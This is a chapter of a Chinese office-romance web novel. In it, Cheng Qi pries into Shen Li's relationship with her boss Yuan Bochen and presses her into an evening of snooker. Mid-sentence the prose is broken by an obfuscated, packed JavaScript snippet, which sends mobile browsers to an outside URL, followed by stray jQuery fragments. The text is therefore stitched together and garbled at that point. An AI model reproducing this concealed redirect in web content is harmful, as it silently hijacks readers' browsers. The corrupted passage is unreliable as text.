程琦坐在咖啡厅舒适的沙发椅里,目光饶有兴致地落在对面的沈梨身上。
他太了解袁泊尘了,此人向来将私人领域和工作关系划得泾渭分明。即便是经常陪伴他出席各种社交场合的职业女伴Cindy,也从未踏足过他核心的朋友圈子。
况且袁泊尘单身多年,身边偶有女伴也如浮云过眼,程琦自认对他这方面了如指掌。
沈梨不同,她让他嗅到了一丝不同寻常的气息。袁泊尘对她的态度里,似乎掺杂了某些特别的关注。毕竟,袁泊尘也不是好心泛滥的人,没见他捡过其他醉酒的女人。
程琦起了探听的心思,身体微微前倾,语调轻松地开启话题:“在泊尘手下做事,感觉如何?他那个工作狂,没为难你吧?”
沈梨的目光从笔记本电脑屏幕上短暂移开,看了他一眼,礼貌但疏离地笑了笑:“袁董是一位要求严格但非常专业的领导者,能学到很多。”回答标准得无懈可击。
“哦?可是他不让你觉得害怕吗?每个和他工作的人都是战战兢兢的。”显然,沈梨的回答让程琦不满意。
“抱歉程先生,这份发言稿袁董要求三点前提交,时间比较紧,我得抓紧修改。”沈梨脸上带着歉意和明晃晃地拒绝,这是终止话题的信号,识趣的人大概会自行离开。
沈梨说完便重新垂下视线,指尖在键盘上快速敲击,完全沉浸回自己的工作里,将程琦和他意有所指的问题晾在了一边。
可沈梨料错了程琦,这人是出了名的“厚脸菜”,连袁泊尘有时候都伤不了他分毫,何况是一个年轻的漂亮的女生的拒绝呢。不过是更感兴趣罢了。
程琦微微挑眉,他没离开,也没再出声打扰,只是向后靠进沙发,端起已经微凉的咖啡,慢悠悠地啜饮,目光却始终若有若无地停留在沈梨专注的侧脸上。
沈梨似乎也完全无视了他的存在,全身心都投注在眼前的文档里,偶尔蹙眉思索,偶尔快速删改,周身散发着一种“生人勿近”的紧绷气场。
两点整,沈梨保存文档,合上电脑,利落地收拾好东西起身。
“程先生,我要上去了,您慢用。”沈梨维持着她的礼貌和体面。
“正好,我也要上去。”程琦也几乎同时放下杯子,不紧不慢地跟在她身后,一同上了楼。
回到办公区,沈梨迅速插上硬盘,将最终稿打印出来。
纸张还带着热度,她正整理装订,Cindy恰好拿着一个文件夹经过。
“沈梨,改好了?”Cindy停下脚步,语气自然,“我正好有份紧急合同需要袁董签字,可以帮你一并带进去。”
沈梨愣了一下,没立刻理解Cindy这个举动的含义。她的大脑在迅速地分析这是单纯的帮忙,还是坐享其成?她对Cindy的印象不坏,因此不愿意第一时间判断是第二种情况。
一旁的程琦反应却快,他笑着上前一步,很自然地伸出手:“沈梨,先给我瞧瞧。看你在咖啡厅改得那么投入,我实在好奇,到底是什么重要内容。”
Cindy这才注意到程琦,脸上立刻浮现职业化的笑容:“程先生,您也在。”
“过来找泊尘聊点事,碰巧遇到这丫头在下面用功。”程琦笑容可掬,转向沈梨,眼神里带着不容拒绝的示意,“给我看看?”
Cindy的目光在程琦和沈梨之间转了一下,随即对沈梨微微颔首:“给程先生看看吧,他眼界高、经验多,说不定能提点宝贵意见。”
沈梨抬眼看向程琦,后者站在Cindy斜后方,趁Cindy不注意,飞快地朝她眨了眨眼,带着些恶作剧得逞的狡黠。
沈梨只好将手中还微热的稿子递过去。
程琦接过,装模作样地翻阅起来,手指点着纸面,仿佛真的在认真审读。
Cindy站在原地稍等,程琦翻了一页,抬头对她笑道:“别管我,你忙你的,我找个地方坐着慢慢看。你不是要送合同?赶紧去吧,不用招呼我。”
“那好,程先生您自便。”Cindy得体地笑了笑,拿着文件夹,叩响了董事长办公室的门,走了进去。
沈梨迟疑了两秒,拿起自己的笔记本和笔,默默站到了程琦身侧稍后的位置,一副随时准备记录“宝贵意见”的恭敬姿态。
程琦其实压根没看进去几行,那些专业术语和产业分析让他觉得乏味。他手指在纸面上随意点着,压低声音,用只有两人能听清的音量“提意见”。
“你当真不是袁泊尘的女朋友?”
“我很好奇你到底怎么引起他关注的?他喜欢喝威士忌不加冰,你知道吗?”
“对了,你会打斯诺克吗?看着像是会打的样子。”
沈梨维持着脸上标准的职业微笑,握着笔的指尖却微微用力。她恨不得把手里这支金属外壳的签字笔直接戳进程琦那满是八卦念头的脑袋里。
这都什么乱七八糟的!
过了一会儿,Cindy拿着签好的文件出来了。程琦见状,立刻将稿子塞回沈梨手里,语气轻快:“看完了,思路清晰,数据扎实,不错!快去交吧,别让你们董事长等急了。”
沈梨如蒙大赦,立刻把握时机,敲响董事长的办公室大门。程琦大摇大摆地跟在她身后,丝毫没有要避嫌的意思。
Cindy看着那扇门在两人身后关上,转身,正好对上不远处倚着墙端着咖啡的Jessica的目光。
Jessica嘴角勾起一抹似笑非笑的弧度,意有所指地低声道:“Cindy姐,我说你要有点危机意识,没说错吧?这才来多久,就有后台撑腰了哦。”
秘书办谁不知道程琦和袁泊尘的关系,她们这些人看似和他熟稔,可也没有人得到过他的青睐啊?凭什么沈梨一来就捷足先登。
Cindy脸上没什么表情,只淡淡地瞥了Jessica一眼,什么都没说,径直走向自己的独立小间。
办公室内,沈梨正在向袁泊尘汇报最终的修改思路和重点调整处。
袁泊尘坐在宽大的办公桌后,安静地听着,手指无意识地轻点着光滑的桌面,没有点头,也没有摇头,神情是一贯的深邃难测,仿佛在思考,又仿佛只是例行公事地听取汇报。
程琦自顾自地在会客沙发上坐下,跷起腿,听着两人一板一眼、专业十足的对话,心里那点怀疑又开始动摇。这听起来,分明就是再正常不过的、清清白白的上下级工作交流啊。
无趣。
可他向来相信自己的直觉。
程琦眼珠一转,等沈梨汇报完毕,办公室出现短暂安静的间隙时,他忽然笑着插话,旧事重提:“沈梨,我刚才问的问题你还没回答我呢。到底会不会打斯诺克啊?”
沈梨幽幽地转头看向他,眼神里清楚地写着“没完了是吧”。
袁泊尘也抬起了眼,目光先落在程琦带笑的脸上,又移向沈梨微微蹙起的眉间,眼底掠过一丝极淡的意外,他们什么时候这么熟了?
程琦精准地捕捉到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981562|191881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了袁泊尘那一闪而逝的神情,有底了。
他笑容扩大,语气更加随意,却带着不容拒绝的亲昵:“下班我请你啊,我知道个地方,台子不错,酒也好。”
沈梨在咖啡厅可以干脆拒绝,但此刻在袁泊尘面前,她却有些迟疑了。直接驳程琦的面子似乎不妥,毕竟他是袁泊尘的朋友,可答应又绝非她所愿。
这一迟疑,看在袁泊尘眼里,却成了默认应约。他眉头几不可察地蹙了一下,声音带着冷硬的质感:“你爱约谁约谁,别拉着我的人陪你瞎玩。天工是做芯片的,不是搞公关陪玩的,你搞清楚。”
程琦见袁泊尘明显不悦,反而更来劲了,像是终于找到了验证猜想的突破口。他笑着,抛出了一个让沈梨无法再轻易拒绝的理由:“哎,泊尘,别这么严肃嘛。沈梨,李皓明是你师兄吧?清大计算机学院的高材生。巧了,他是我师弟。怎么,不给你师兄的师兄一个面子?”
沈梨蓦然一怔,李皓明?他们居然是师兄弟的关系?
李皓明为沈梨做的着实有点多,不算一开始招揽的恩情,就看前些日子他知道沈梨被钱万平欺负了,特意从云州飞来为她撑场子,还带着她上下打点认识人,这份人情她确实还没找到合适的机会偿还。
程琦看着她瞬间变换的神色,知道自己有戏了,好整以暇地等待着。
拒绝的话卡在喉咙里,沈梨余光能感觉到袁泊尘投来的视线,那目光沉甸甸的,带着审视和一丝她看不懂的冷意。
几秒挣扎后,她听到自己的声音响起,平静却清晰:“好,谢谢程先生邀请。”
程琦满意地笑了。
袁泊尘的脸色却沉了下去,如同暴风雨前积聚的阴云。他不再看程琦,目光扫过沈梨平静无波的脸,下颚线绷得有些紧。
喝酒,抽烟,现在还要玩斯诺克……
“沈梨,你属变色龙的?”袁泊尘开口,声音不高,却像是从后槽牙磨出来的。
程琦得意至极,仿佛终于揪住了袁泊尘的小辫子,笑得开怀:“你也来啊!我的酒,你也可以喝。放心,招待你,肯定是最好的威士忌。”
袁泊尘冷硬拒绝:“不必。我没你们这么闲。”
沈梨脸上掠过一丝尴尬。被老板当面说“闲”,这下属还能要吗?她的目光下意识投向程琦。
后者耸耸肩,一脸无辜:“他是你老板,又不是我的。看我干嘛?”
“我的办公室不是茶室,要聊出去聊。”袁泊尘的声音彻底冷下来,
交头接耳的两人被一并下了逐客令。
出了门,程琦笑容满面:“我让司机准时来接你下班,记得啊。”
沈梨郁闷地瞪着他,眼神里满是控诉。
程琦侧过身,凑近她耳边,压低声音,语气带着诱哄和笃定:“放心,他晚上肯定会来。他只要在场,就没人能说你贪玩了,对吧?老板在的地方,都是工作场合。没让他给你算加班费,咱们已经够仁义了。”
“谁贪玩了……”沈梨小声驳斥,底气却不足。
“我,我贪玩,行了吧?”程琦从善如流,挥挥手,潇洒离开,“晚上见,不准不来啊。”
沈梨望着他的背影,满面愁容。想着要还师兄的人情,却好像直接把董事长得罪了。师兄当初是为了让她留在总部才千里迢迢飞来……这下好了,前程未卜。
如果李皓明知道,大概会骂她:“你傻啊?不能当面拒绝,不能私下再约吗?”
可惜,悔之晚矣。